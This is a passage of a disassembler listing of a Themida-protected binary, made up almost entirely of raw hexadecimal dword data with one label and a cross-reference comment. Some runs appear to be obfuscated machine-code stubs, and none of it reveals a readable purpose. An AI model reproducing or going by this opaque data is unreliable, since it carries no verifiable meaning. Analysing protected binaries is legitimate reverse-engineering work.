13E8EA74h dd 4F5Dh, 0C15CAF00h, 0D949401Ah, 0FDEDCC7Ch, 9C267521h dd 0B1EDCC7Ch, 0B8CFC3FCh, 3A21D514h, 0FFE6EA89h, 0FAAA140h dd 533F8031h, 9E528F34h, 0A8C29EC2h, 257895D6h, 0E0656E3h dd 2BD05239h, 78F46DCCh, 9843C4h, 806D0000h, 91C80593h dd 32FACF0Fh, 0DC83BD5Ch, 0FAB1CBA7h, 67FC0C91h, 0B420F075h dd 6E88F633h, 0B2CC9E52h, 238E4BF7h, 9AAFAB94h, 79356A21h dd 60144902h, 238F8E39h, 0AFF0A194h, 0DB1DC4C3h, 0A865EAF6h dd 0EC98BCD4h, 6BFE39EDh, 3C8F3DD4h, 0BE65CC63h, 6970D589h dd 0D3B15872h, 0B39E184Ah, 0EA71CBB7h, 181C0845h, 0C0B4EBA1h dd 13CC8764h, 0CEA032DEh, 0B7C69C9Dh, 9FBC69ACh, 0CFE665FCh dd 4937F20Ch, 29942FF8h, 0A5C1FCB2h, 855910CBh, 76FAA6E1h dd 0ADCAA65Ah, 0BD5CA329h, 0FAA6DD83h, 7C398980h, 81DD6DCCh dd 916F8165h, 4076135Ch, 0A4B9DCABh, 0F76A99E7h, 9FD7967h dd 0CAA4D992h, 2D4DF5B4h, 0CDA99425h, 855426B0h, 0DBFAA6E1h dd 3D39ED26h, 0FE444719h, 1694252Dh, 0CD763D1Ah, 0BDBDEC98h dd 66C07862h, 4D8E3FFAh, 1B00DD59h, 0B1E69D84h, 0E2C1AE9Fh dd 7EB1E69Ah, 6805BD6Ch, 85E1A060h, 0C067EE68h, 0E3FF3AF0h dd 0CA7E3D2Fh, 42E56E8Bh, 0EC871105h, 9C8F7155h, 0A0606826h dd 0CE8562BEh, 0DD0EE015h, 0E6C4FF3h, 44655215h, 5A0A0FE0h dd 42B97D5Ah, 37A05489h, 0Ah, 9A215F85h, 6AC6BAF3h, 8032B78Dh dd 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh, 9034533Fh dd 8126A551h, 94395044h, 7830A75Bh, 50CF5541h, 405E089h dd 83000000h, 48704E8h, 0C895C24h, 0E6895624h, 4C681h dd 0EE830000h, 24348704h, 2434895Ch, 81E68956h, 4C6h, 4EE8100h dd 87000000h, 895C2434h, 97BE241Ch, 0D13A3A05h, 0CFF56EEh dd 0EE815E24h, 1705F3D7h, 4EC81h, 24890000h, 24048124h dd 4, 8B8505Bh, 5000000h, 288445Dh, 5D2DD801h, 89028844h dd 1C8B5830h, 0E6895624h, 4C681h, 0C6830000h, 24348704h dd 24348B5Ch, 5E08950h, 4, 8704C083h, 0E95C2404h, 0FFF96BC8h dd 5C3D758Eh, 0DF2EC1B2h, 8B807FAh, 3061714h, 55E0FFC5h dd 0D061EF7Bh, 914FEEC8h, 724B6738h, 5D2D4D3Eh, 904C1212h dd 0CE3D83A0h, 0BB243327h, 0F02D3D58h, 0D24B647Ah, 414AF0DBh dd 0BD348B2Eh, 420130E1h, 0E46FDD12h, 547F1A5Bh, 6E258931h dd 4C4C0DDBh, 5F474B8Fh, 0BA38A9C2h, 0AF17594Ch, 0BB4EC588h dd 0E34C635Dh, 4F4A9E69h, 0E128184Dh, 16430E27h, 9137A62Ah dd 9849192Ah, 0B62CD9D4h, 0E83C93B7h, 6, 0F949857Ch, 0E9606471h dd 0Dh, 0B23D7B28h, 38562198h, 66BA04DFh, 61EC8A25h, 0DE959h dd 9F080000h, 0F9F3E33Fh, 5F3BFA6Bh, 81EAC8D3h, 5EF7C1h dd 1799BB00h, 0BA660000h, 31FF3E90h, 0BF58D18Bh, 6D0FBDA5h dd 65B1C081h, 0BF667659h, 0E881706Ah, 197471DDh, 8E3EF081h dd 8F5000A7h, 7A58BA01h, 0E9830D6Fh, 4949FC01h, 0E3CA8149h dd 4B7338FCh, 0C850Fh, 18E90000h, 2E000000h, 5E85FB8Ah dd 0D6810589h, 1E13E88Ch, 0FFFFADE9h, 0A30EAEFFh, 82CAD25Bh dd 889A075h, 0DC781469h, 60638DA6h, 2E863635h, 908635A1h dd 480AD925h, 99053025h, 14962374h, 76023F25h, 7863025h dd 528F4198h, 0A5893023h, 90863057h, 6B63B5E3h, 4CC83635h dd 0DA6D2741h, 2DA204A4h, 7BE699E5h, 52956190h, 0AB03BD23h dd 6F8023A0h, 8E76BBF5h, 34A5D5A0h, 36EE7E23h, 8858931Eh dd 68E21411h, 0F77946C4h, 27963954h, 150CB5A8h, 98793636h dd 343FC8AEh, 0FB863025h, 986302Dh, 8A033F83h, 0B863025h dd 0A489F92Eh, 6F79CFD5h, 48863DCCh, 0A11BBD25h, 0AA80206Bh dd 9863020h, 390BD3DAh, 449125E1h, 3707BDA8h, 823E3632h dd 63000000h, 826FF1EAh, 889A075h, 0DC781469h, 60638DA6h dd 2E863635h, 908635A1h, 480AD925h, 99053025h dword_5BCB08 dd 0F305E983h, 22B9A4h, 0FE80000h, 3A000000h, 3A66391Eh ; DATA XREF: Themida_:0054C344o dd 0FC5D66A2h, 549F3790h, 0BD317FFBh, 6100ED9h, 81FB8B5Bh dd 59EBC3h, 35B58B00h, 68061009h, 1641h, 20FD8D89h, 295A0610h dd 1004E58Dh, 0E833FF06h, 0Ch, 0EC5CD7E5h, 0DBBA334Bh dd 5079B958h, 5EF0B70Fh, 0FDB58B58h, 8106100Bh, 0D86ECF0h dd 0EE86010h, 0FF000000h, 65361803h, 9932B29Fh, 9916B9EFh dd 5F5B514Bh, 38F08161h, 891ADF45h, 10094D85h, 0E5C08106h dd 0F2CBF04h, 389F0B7h, 68D0Fh, 95290000h, 6100EF9h, 1CEDEB81h dd 895319F8h, 1032DD8Dh, 0C3815F06h, 19F81CE9h, 26A2E981h dd 0F4A58C6h, 1F85h, 9DBD3100h, 0E9061005h, 2Ah, 9A28E1E9h dd 0F059F43Fh, 98544E20h, 0D5DFCF23h, 4CD86FE9h, 241D8531h dd 56E90610h, 0EFFFFFFFh, 1DAAC45Ch, 0F4AE47FFh, 24E9567Eh dd 28000000h, 0C675h, 7 dup(0) dd 0E9000000h, 8C5h, 0BE7ABD6Dh, 0DE5A9137h, 0C579B257h dd 0D8549136h, 0BC70AF61h, 8C40B2CEh, 670A914Dh, 7F23B226h dd 5A118844h, 0BAC6A925h, 0DB6B73CFh, 8E16936Bh, 0CC7C4502h dd 6131DA6Dh, 0DC5074ABh, 2CA6C902h, 0DFD77CB9h, 0FFF2AD6Dh dd 708D6922h, 2CDF060Dh, 6DCC4296h, 0B50DFC6Eh, 516DCC42h dd 0FBD5F1D5h, 0FC43EB10h, 0D3BF9B67h, 0F22BE259h, 1A322FEh dd 7552CEC2h, 0FCB0ABEh, 5B0FDF88h, 0BFA3E485h, 0BE7DEFA3h dd 5DD9CD08h, 3C0CB380h, 7024385h, 2AC73E51h, 5FD65A46h dd 9E826EADh, 16B7CEC2h, 4AA21D5h, 493D782Eh, 0E1D09EDh dd 2DEAD66Dh, 752EF78Eh, 0A1C502A5h, 0EC9F722Dh, 817F397Ah dd 0CD000000h, 2D3F7E32h, 7CEA5853h, 0E0A6DCCh, 68F34D39h dd 289A91C2h, 0CC6DCC7Ch, 0EB57450h, 34492DD9h, 0DAC605A7h dd 69209B7Dh, 0BE04430h, 103D9938h, 73A6C25h, 0CF8C61F4h dd 0AF6ADE1Dh, 336AC35Eh, 3B3Eh, 4D78C00h, 0F67A265Bh dd 77B65AE1h, 7C63DC8Bh, 0DB46DCCh, 0F8850CBh, 0DBF76669h dd 0C2F7B027h, 6E226103h, 0BF0DA47Bh, 240DA4DBh, 0AC2F4180h dd 6CC8BCF5h, 425EC78Fh, 0AE000000h, 0FBA47E32h, 84F6AAC6h dd 0AFAA1A47h, 0EB9CC1FAh, 0F62FD609h, 0BE06FDDAh, 8F6DCC36h dd 0D4F39FDCh, 0AA05F130h, 0A9607A19h, 6DCC3619h, 0AA4521FDh dd 7E607A19h, 0CC35378Bh, 7653CF6Dh, 10CC0BBDh, 6004D77Ah dd 0CCF17521h, 6548607h, 0E07D5A10h, 16E802D9h, 88659E43h dd 0FC82BA9Bh, 0F3972267h, 83DFA3B8h, 1851F88Fh, 377015A4h dd 0C76AF14Bh, 0C1969A86h, 34469524h, 0C661C75h, 721EFA9Eh dd 0F332D160h, 0A1D67A4Eh, 2C2158EAh, 8460BC9Eh, 0B86DEC60h dd 0EEDE6576h, 7C3B6C29h, 0BEB28EC3h, 2C933B97h, 7C13A49Eh dd 4B59715Ah, 6F23F5FAh, 0EA2CE15Ah, 486B33ECh, 6A920EAh dd 9B31ADC9h, 8E1CC35Ch, 4002A9D7h, 0A46DCC7Ch, 0C5F3B3C8h dd 5B4E7932h, 6DCC7CE7h, 793F23FFh, 2BF69735h, 0B366B22h dd 4Ah, 70D03835h, 559A0F83h, 0C35CAC78h, 0D4D78E1Ch, 6DCC7C6Eh dd 0C4576764h, 36A232FCh, 37056121h, 4D7F5D7h, 5C7F1A5Eh dd 0C29DA6E0h, 0B76EF29Eh, 4521D516h, 0BDF6AB28h, 408A42EFh dd 39h, 3F80B40h, 474A1967h, 0C35C9A32h, 6D1C421Ch, 6DCC7CD5h dd 8C183531h, 0B7C4A9D7h, 330A4E1h, 0A410BC2Bh, 9FB5C1B7h dd 0B261E1CAh, 0B3A36DCCh, 32F5D7E5h, 4274427Bh, 6104D78Ah dd 0DBF07420h, 7E72A760h, 0C8FDD9D7h, 417C326Dh, 52933655h dd 6908B79Eh, 58F7C863h, 41FD32D9h, 2BD716BAh, 0CDB9F8ACh dd 7C31A890h, 0FE952643h, 0E2569537h, 6FB6D617h, 29B633h dd 32140000h, 63504479h, 0B6758754h, 67FC1D45h, 64BCEFFh dd 0A39CB814h, 9E4F1610h, 0C5A2BEFAh, 12AD59D5h, 6C1312B1h dd 32E58337h, 63504479h, 0B6758754h, 67FC1FADh, 0EA71ED49h dd 26180C41h, 0DF632638h, 379423A0h, 0A0F64C3Bh, 120E9423h dd 3A974E35h, 734C19B5h, 25E4FADCh, 18B10E9Dh, 53E0FD79h dd 0D9C377ACh, 596EAF62h, 0BFE29E2h, 18B10EB7h, 3EFD34Fh dd 9AB427AEh, 0CD246E1Fh, 5F28A99h, 969A866Ah, 0BFEC9FC1h dd 4712814Dh, 738D6FEBh, 0A1520AB8h, 596EEA02h, 1CC35CD3h dd 5D83FD8Eh, 7C3A8883h, 7EDA6DCCh, 0CC7C2B97h, 6A4FCB6Dh dd 7A51D102h, 3B11E60Eh, 4002A9D7h, 0A46DCC7Ch, 7F28B3C8h dd 8A9304Ah, 351AB2C7h, 222BF697h, 0B29B366Bh, 701AF539h dd 73D3F827h, 90ACE0B9h, 3A2DA3B8h, 9F000000h, 113C35Ch dd 92F85E1Bh, 0D7BE8C68h, 0CC7C6ED4h, 9A67646Dh, 34E8C149h dd 0C7A35774h, 458026B5h, 2CF8D551h, 7B32F5D7h, 3E427442h dd 978BC87Bh, 40E6BE9Bh, 36h, 1CC35C8Ch, 6ED4D78Eh, 0A46DCC7Ch dd 0F5D7EAB0h, 2A77B32h, 7D59DDC9h, 5F96D7AFh, 0C0D8F88Fh dd 60B1087Bh, 0C465A27Bh, 0CCED7DC5h, 0B99D996Dh, 35124B02h dd 7932F68Eh, 0FCAF2A44h, 0B5169ABFh, 0DE5C8A45h, 464E1D09h dd 9B6DC820h, 1BC46D04h, 208939F0h, 49389230h, 95B0EFCh dd 3419150Dh, 46B155A6h, 8A3E2295h, 661A590Bh, 927EBD6Fh dd 2FD863B5h, 8470AB5Fh, 54D0C4A0h, 240DA477h, 0BB01A680h dd 0F8005453h, 6480641Ch, 0F7DC35E8h, 2ABC336Eh, 0E000000h dd 50447932h, 75875463h, 0FC0CD5B6h, 9BB5B167h, 502D6C20h dd 5794374Eh, 38792CABh, 0F392314Ch, 32D1F2CDh, 0A3174CF3h dd 5C04D705h, 0D48B4825h, 44206104h, 87546350h, 26E5B675h dd 6E5F67FCh, 65EA0271h, 84BD64FDh, 847E960h, 3F43181Ch dd 0C69567E3h, 972EE223h, 6BC7BBF0h, 5CDA7287h, 0FD8E1CC3h dd 447932CFh, 0E085542Ah, 7C4200A7h, 0C6A26DCCh, 0A9D71BB1h dd 0CC7C4002h, 45BA6F6Dh, 0A366B9A1h, 0E45A6FEBh, 222BF646h dd 3D0B366Bh, 81000000h, 8E1CC35Ch, 7C6ED4D7h, 0F866DCCh dd 2D3F2358h, 7CEA5853h, 41E86DCCh, 6DCC7C81h, 1D190965h dd 0F5D76440h, 74427B32h, 30408A42h, 40000000h, 7B37DC0Bh dd 79303438h, 0EAC297D8h, 8E1CC35Ch, 7C6ED4D7h, 0B0A46DCCh dd 32F5D7EAh, 4274427Bh, 0FEC30D3Eh, 44C8209Ch, 0FBA7E085h dd 32CA6277h, 43B79h, 6D1FA366h, 7BF76DCCh, 590F074Eh dd 0D2E2897Dh, 0F6DC8E2h, 571011B0h, 782FA622h, 53624F43h dd 0D2B37688h, 0AC98079Ch, 0D76EFCB0h, 7C4002A9h, 0C8A46DCCh dd 16C952B3h, 32CFFD90h, 35764479h, 5C04D797h, 8E4F4825h dd 6E366B21h, 5Ah, 81C35CDCh, 81E591CEh, 38EC21CAh, 0D792183Ch dd 2496D7A9h, 1B353B6Fh, 4FC67C2Bh, 421E6DCCh, 6DAEF215h dd 5F7CE6E8h, 0CC451EA4h, 0AC7AF66Dh, 7B32F5D7h, 3E427442h dd 708DC67Bh, 2A9D7D4h, 6DCC7C40h, 5C11C8A4h, 279B4623h dd 0A5000000h, 7C72D0BBh, 96926DCCh, 0C35CEBC1h, 269A3913h dd 0AE64F76h, 6ED4D73Ch, 0A46DCC7Ch, 0F5D7EAB0h, 74427B32h dd 79328A42h, 0DDC906A9h, 0B7897D59h, 7C60E2C9h, 0A8846DCCh dd 2C417E31h, 0C8FD717Fh, 7E15AE6Dh, 1DB10B7h, 0C0E593CCh dd 3348191Ch, 3E732CABh, 306D852h, 92373FBFh, 5FFEDB57h dd 97698358h, 373F2E94h, 5DE5A492h, 0B992373Fh, 9469C5BDh dd 6C28BD6Ch, 0B1B69807h, 7C34B623h, 4804E0F3h, 1CC35CC2h dd 5D04D78Eh, 8CF4CF1Bh, 0CAA616C2h, 817D5AD6h, 447932FBh dd 0F6973576h, 366B222Bh, 56ECB29Bh, 1C2C446Bh, 37893Fh dd 5C030000h, 9421CC3h, 0A08B46E7h, 6DCCB622h, 418166C2h dd 663E1BDDh, 7C6ED4D7h, 0AA866DCCh, 32F5D71Ch, 4274427Bh dd 53408Ah, 1E400000h, 0CC7CD76Bh, 16332F6Dh, 1CC35C8Eh dd 0D56D1C42h, 316DCC7Ch, 7CF64C3Fh, 120E6DCCh, 96D5772Eh dd 0D4D7EBC1h, 6DCC7C6Eh, 48AFA7A4h, 35225B12h, 0D74E3A1Ah dd 51D7FB30h, 4D7F5D7h, 0F0742061h, 70A960DBh, 203E42AAh dd 0CC7CD969h, 0CE13D6Dh, 44793240h, 91546350h, 37EB22CAh dd 7CF64C3Bh, 120E6DCCh, 0E86D1C2Eh, 1667FC12h, 0B2419E1Ah dd 25165729h, 0ECFD2E64h, 6200C269h, 88E49423h, 2B97926Ch dd 0CB942362h, 0A3667A4Fh, 9E180DF7h, 2B9938Fh, 0EB94134Ah dd 9166CAB6h, 184DF695h, 4CFFBAA4h, 0EAFF630Fh, 9185BA71h dd 0E5D60FCAh, 0C178E495h, 27FCD10Eh, 0CD02A988h, 0ACE18A11h dd 0A14586F8h, 1187BA3Ah, 9C4F0CE1h, 1BCE8D5Fh, 2D4A26DAh dd 0D2896771h, 3A09DE1Fh, 0BCF19A9Bh dd 9DD27900h, 1000E9h, 0DE000000h, 0CA16972Bh, 0B2586F80h dd 0A67E5B77h, 80326D5Fh, 9952493Dh, 7519B064h, 9E4F463Ah dd 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h, 7830A75Bh dd 52CF5541h, 0C281E289h, 4, 3304EA83h, 14312414h, 24143324h dd 11C5685Ch, 3C890000h, 7B576824h, 2C890000h, 17C56824h dd 3C8B0617h, 4C48124h, 54000000h, 83242C8Bh, 815704C4h dd 0BD22434h, 458F6C12h, 8BB5308h, 1000000h, 0D23381EBh dd 5B6C120Bh, 50242C8Bh, 405E089h, 83000000h, 48704C0h dd 3C8B5C24h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h dd 5FF2E95Ch, 4F1EFFF9h, 0B6EDFB72h, 0F2F4C2B7h, 0D655C5D1h dd 1FFCB89Bh, 0C5030617h, 938AE0FFh, 4ADD27ABh, 79C9450Ah dd 867259B8h, 0EAA521E8h, 343C640Eh, 0ABC61DE1h, 0F13A4E69h dd 25822657h, 4D326C5Eh, 46C91C62h, 0CD395435h, 0EBAF14A1h dd 0A6407A2Fh, 0FA0312B1h, 0C9AB30DAh, 471D3E2Dh, 86F66469h dd 550E45CFh, 58FB12A4h, 13591E4Bh, 0C96D3962h, 4B2B22A8h dd 5B814BF3h, 0E1FD0E3Fh, 0ABBB5727h, 931961F5h, 0B05409F6h dd 0F84D1982h, 25E9643Bh, 0AD000000h, 27718Bh, 8 dup(0) dd 552E9h, 74AFC00h, 0E51CC453h, 23BF269h, 0DF1CCF46h dd 0F938EC6Bh, 0C93B4745h, 0E574E827h, 0D0470344h, 0EC6BDF1Ah dd 5F4AFE33h, 5D14AE5Dh, 0F3F06BDBh, 44793229h, 58973950h dd 11B15886h, 0F56DCC7Ch, 5BDA6479h, 4836FA4h, 8554265Bh dd 78FCA8DFh, 7C24A363h, 973A5145h, 8DBDAA56h, 0B797C610h dd 1E5F12C9h, 32D16072h, 5F1350F3h, 734CDF03h, 79AE55DCh dd 559036C5h, 0BB73527Bh, 0E595AE4h, 209B8539h, 0DE422E6Bh dd 619C5209h, 0DE13CC8Fh, 6D192E32h, 867ABB6Eh, 67CE651Ch dd 45D488C3h, 0C3BD699Eh, 381554F8h, 0CCE0F24Bh, 0EF86356Dh dd 6A99C70Ah, 69A733h, 32E50000h, 0E8A33B79h, 92E671Eh dd 0CFF31C69h, 40CC7423h, 6E4D6DCCh, 0C468F3D7h, 0B8959185h dd 6AF9EEBFh, 89805E33h, 6DCC4C39h, 46C81DDh, 0Bh, 9D25E4FAh dd 796DCC4Ch, 3244E0FDh, 384F437Ah, 46875990h, 0C104C47h dd 0D106BD0Dh, 0AF26D8F5h, 60E2C9FCh, 846DCCF4h, 0A5D8CCA8h dd 6BE67FEh, 23DC5BCFh, 32AC3AEEh, 0E062497Eh, 46DCC7Ch dd 0B79BDC8Dh, 0FD65092h, 0D9FD925Fh, 0BFF6AE2Dh, 4EE576D3h dd 191045E7h, 6DCC90A9h, 5392364Dh, 0C39FC39Fh, 0A2D79007h dd 235C11C8h, 28D6F36Fh, 0ECDFCB1h, 0CB771E57h, 2B6DCC90h dd 97D2782Fh, 771AA1BBh, 34652136h, 0BC05E07Fh, 2C336A47h dd 0C8BCFBADh, 6ED98F6Ch, 33000000h, 7BF396D7h, 0DD8FE46Ch dd 3D39ED2Ah, 0D5774419h, 36EBEA96h, 4D7609FDh, 88BD6FB6h dd 0CCD421A1h, 1BCEC56Dh, 264A26DAh, 65078E4Ah, 33175426h dd 0C09A28D1h, 0D6F5B1C6h, 5700F431h, 9D60851Ch, 7D336A4Fh dd 48h, 3F7E32CFh, 538E3453h, 0DC734C9Fh, 0C707D1FAh, 15AEB458h dd 3E103473h, 0CC8EF74Bh, 36130F6Dh, 0D08CCB7Dh, 3A7A323Ah dd 0B125641h, 2ED6554Fh, 4B270BF7h, 0D6B71057h, 47786DCCh dd 8B844DA8h, 164336Ah, 0A6000000h, 4E427B32h, 815B9037h dd 27E215BAh, 6DCC7C9Bh, 0CFC39F7Bh, 1E887653h, 0BCF39920h dd 0AC8F6CC8h, 822AB115h, 7CEC5655h, 2C086DCCh, 0B2CF5C48h dd 0C8FFA996h, 0E3708D69h, 6C4AFC3Eh, 93B8D115h, 0FA6FBAFh dd 3A77D31h, 7C58DCC8h, 0B6C8AC88h, 0FCE416F3h, 5A74F067h dd 39ED2EDFh, 0C5E203Dh, 8C61964Dh, 67E318CFh, 0E80237F0h dd 0A4AF1316h, 0CB80943Ch, 8E7EE28Eh, 346F1392h, 1707E440h dd 3CA4F050h, 3FD66D94h, 46184DF6h, 0A4D17118h, 0BA6E943Ch dd 0D2A7837Bh, 0A1D68D0Ch, 0EF2DD6F5h, 64A5C2AEh, 28DCF8F0h dd 0D3BF00B1h, 0E3C37C46h, 0E0576711h, 1605F128h, 502CE65h dd 0AD56DF76h, 4DAC478h, 3CFEBD05h, 24E75994h, 943CFE9Eh dd 1D6FA76h, 7AB3B3FEh, 0C2A2339h, 0DA15B948h, 3E1D4A26h dd 0A3452214h, 124h, 1EBD5CE9h, 266C5D4Ch, 9E7A67FCh, 0F72CD3F2h dd 3B0BB443h, 0ED555489h, 99423AAh, 0D95D492Dh, 0D99209FDh dd 38D9F0A4h, 0D68C0BF7h, 11B2E79Bh, 0A994E72h, 0EC21CA6Bh dd 15CB8E70h, 772E32DEh, 8AE69AD1h, 6067AA6Dh, 4747397Bh dd 85000000h, 0E11C15Ch, 0ED0A5118h, 0A9607A56h, 0EDCC6939h dd 9B9581DDh, 48053B2h, 7118C55Ah, 0EDCC42D1h, 431D3935h dd 0CC42FA48h, 293E1AEDh, 0CC42C082h, 0B74EEDEDh, 84568598h dd 0CC421D85h, 1BDB96Dh, 8F88h, 0BD5CF400h, 3C5D4C1Eh dd 0CA67FC0Ch, 0B6C8A24Eh, 238C4FF3h, 0AECBA794h, 58537E25h dd 94238CEAh, 68290E0Ah, 98BBEB06h, 30ABC5A1h, 0E062497Ah dd 49423BDh, 0A72F4C28h, 4E427730h, 23BCBC07h, 750CB394h dd 0AAE38A51h, 285D06CDh, 13C84FB4h, 0DDE85239h, 401C9E18h dd 508E3554h, 0CD28B133h, 0BEE0923Ch, 2CA36388h, 0FFE99DB9h dd 43A4CC01h, 4430671Dh, 79A8FBE0h, 7918ABC0h, 0ED28DE5Dh dd 0BD203D39h, 0E0CBA536h, 942F197Ah, 8C1A8E8Ah, 4C1EBD5Ch dd 0F71DFD5Dh, 792D0967h, 0B874A962h, 0A1558A41h, 4E77B0FAh dd 0B35271F5h, 6C9F4417h, 4E4E05BDh, 6185E1B5h, 0E318CF8Ch dd 0BD589567h, 0C6A0A255h, 7F28B3C8h, 8A9304Ah, 0D5F4B2C7h dd 60DBF532h, 0DF20D1ADh, 639E4403h, 730E9886h, 83AE55DCh dd 4E743A88h, 0C77EDAB5h, 4D01E526h, 841E873h, 7843181Ch dd 94E69ACFh, 7403BF6Ah, 641CB54Eh, 0E7F9752Dh, 4E749E24h dd 0DDFA76B5h, 364h, 6D5FD800h, 493D8032h, 0B0649952h dd 463A7519h, 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h dd 0A75B9439h, 55417830h, 575A68CFh, 0C890000h, 50336824h dd 4890000h, 0E0895024h, 405h, 42D00h, 4870000h, 1C895C24h dd 68535724h, 65A62078h, 4EF3815Bh, 8963B101h, 0F8895BDFh dd 5B27685Fh, 24890000h, 24048324h, 0EC815B04h, 4, 8F240489h dd 1C8B0843h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h dd 24048B5Ch, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0F959E7E9h dd 0B8E7CDFFh, 617260Ah, 0E0FFC503h, 46F5928Ch, 27E684D9h dd 375AE8Ah, 3A6CBB2Ch, 291BFAC7h, 6924CDE3h, 4088F9FBh dd 4445561Ch, 3CB50508h, 0DB992C3h, 5F4D5BF9h, 48869F1Bh dd 7A6BF15Bh, 2AA402Ah, 31DFCCBBh, 4D8F56DCh, 350DCF82h dd 3A1D0B74h, 2270F6E3h, 537AD4D6h, 28DDB249h, 47846014h dd 60EF6F9Ah, 5BB54483h, 724B987Ah, 240D5334h, 0EB93560h dd 4823144Dh, 27B88D8Dh, 6A0617h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0DF8F92C3h, 0D2694095h dd 58D0FA0h, 66000000h, 834F081h, 9F58D89h, 0B8660610h dd 85C792B3h, 6102319h, 6B50h, 14E9h, 0BF1DEA00h, 3941B6AFh dd 0E4FEB4F7h, 73E80600h, 4C62301Eh, 0C185C713h, 61022h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 885CC356h, 9C7A1B52h, 53331288h dd 595958Bh, 0B5FF0610h, 6100865h, 68B0Fh, 9D890000h, 61029C9h dd 2DB995FFh, 0DF8B0610h, 95FF006Ah, 61031C9h, 59EBC08Bh dd 506B3FD7h, 0EB5122E4h, 0FB25ADE0h, 42DAACCEh, 6CEA4C2Bh dd 13D580Fh, 0FCD4C8CDh, 65255B9h, 266FF7AAh, 168C9E39h dd 0A2095756h, 0ECE68593h, 5A4E8E15h, 0E69E93CDh, 287372B7h dd 0E9FD14Ch, 2673F002h, 622A70E5h, 0E39E064Eh, 7F3979C0h dd 289BD2B2h, 99A25F84h, 0CE87Fh, 0D0D10000h, 3E10365Dh dd 0CB45A9E2h, 8D8B7A5Bh, 61021B5h, 0C681F55Eh, 703Ah dd 58E0Fh, 81660000h, 684337E1h, 0 dd 10E9h, 0A841B700h, 94B863CCh, 428D9235h, 0ED918514h dd 95295FE4h, 6101409h, 663734FFh, 158CA8Bh, 1027A9B5h dd 0DDC08106h, 8B0B1745h, 101D7D9Dh, 3AC08106h, 2907378Ah dd 10310185h, 0F7C08106h, 89597450h, 10163185h, 3E048906h dd 0B589FA8Ah, 6100915h, 6EBDEF81h, 958914E7h, 6102161h dd 6EB9C781h, 0B70F14E7h, 98FF81D1h, 0FFFFF90h, 1C85h dd 8B665000h, 29E95AD8h, 0B9000000h, 0C9122A4h, 9F163741h dd 0A231677Dh, 92B3156Bh, 5BF8572Bh, 0FFFF7FE9h, 0EC1351FFh dd 2E6A3F50h, 0B581B3F2h, 876E51CFh, 14E8h, 8023BB00h dd 9E2DE5Eh, 0D23F4847h, 23C2D4A6h, 0C5CC8A79h, 0FD8D8B62h dd 5A061027h, 16998D8Bh, 0C2810610h, 6E1Eh, 68C6B70Fh dd 0 dd 2DB1B589h, 0F85E0610h, 60323C8Bh, 5E78D281h, 81660378h dd 617C2DD8h, 5AF3EF81h, 8E92CB8h, 0BD000000h, 33562A1Ch dd 81E37C57h, 0F36654C7h, 0A5858B01h, 8106101Ch, 465AEFC7h dd 0D5858963h, 8906101Ah, 0B509323Ch, 61023C5h, 13E9h dd 762D7500h, 0BBB57C8h, 496E3B0Bh, 0A632219Ch, 58525FB4h dd 8104EE83h, 702A2AE9h, 8CFE812Ch, 0FFFFF92h, 0FFFF8F85h dd 0D8D31FFh, 8D061020h, 172ABD8Dh, 0FE806h, 81320000h dd 482D9F06h, 88EF62E5h, 4703BC4Fh, 0F4D08192h, 5A2F67AEh dd 9F58D89h, 8B660610h, 1985C7C7h, 74061023h, 6A000058h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0A162C356h, 6287048Ah, 234E89C9h, 1CC1958Bh dd 810F0610h, 18h, 0CE8h, 0FC396400h, 0A92AB12Ch, 995E555Dh dd 0D1CF8183h, 5A17A833h, 22C185C7h, 610h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 958B84C3h, 6100D61h, 1211B5FFh, 6A0610h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8A5958C3h dd 0BD8B50F8h, 6100BADh, 0B995FF5Bh, 6A06102Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 6F24C355h, 6F8FA2EDh, 4DF3BF66h, 5860Fh, 81660000h dd 3ED19DFh, 100C9185h, 0FF006A06h, 1031C995h, 0EBC08B06h dd 31F98919h, 0EE825E1Ch, 0E7294760h, 375BE66Ah, 5ED52280h dd 0CBA2D119h, 8D8DB0AEh, 6172B90h, 2D219D29h, 8D890610h dd 61009F5h, 1952BE66h, 1A6D858Bh, 85C70610h, 6102319h dd 6518h, 12E977B3h, 0D4000000h, 0DF4618F3h, 0CA480CC2h dd 2865B9ECh, 0AB744A3Eh, 0C185C75Ch, 61022h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 7B6BC351h, 0FFF8BB16h, 1030C5B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0CA63A22h, 1252496Ch, 0D78B1CA5h, 95FFC68Bh, 6102DB9h dd 0BE9h, 0AA581600h, 62AC76E9h, 7C71E170h, 95FF006Ah dd 61031C9h, 3CEBC08Bh, 0AB6F729Bh, 51AB9749h, 2F2DA4B2h dd 8B68E787h, 0B440D97h, 0FCCECB02h, 5DF507FBh, 0DBD52149h dd 21D88ACDh, 4D21D116h, 0F76C3237h, 0A7DEDD11h, 17879F20h dd 0CE775A18h, 0DC1C0FF0h, 2CF38D8Dh, 6A0617h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 897A1EC3h, 1009F58Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 88A98F8Ch, 231985C7h dd 607C0610h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0C6E3A4C3h, 1307F957h, 8B66B74Ah dd 16860FFAh, 0E9000000h, 11h, 22D68A0Bh, 0D4D5A0DBh, 0F5ABDB4Bh dd 0CC493E19h, 0C185C7D2h, 61022h, 0E9000000h, 0Ch, 5444715h dd 9B21D710h, 98490251h, 30C5B5FFh, 6A0610h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 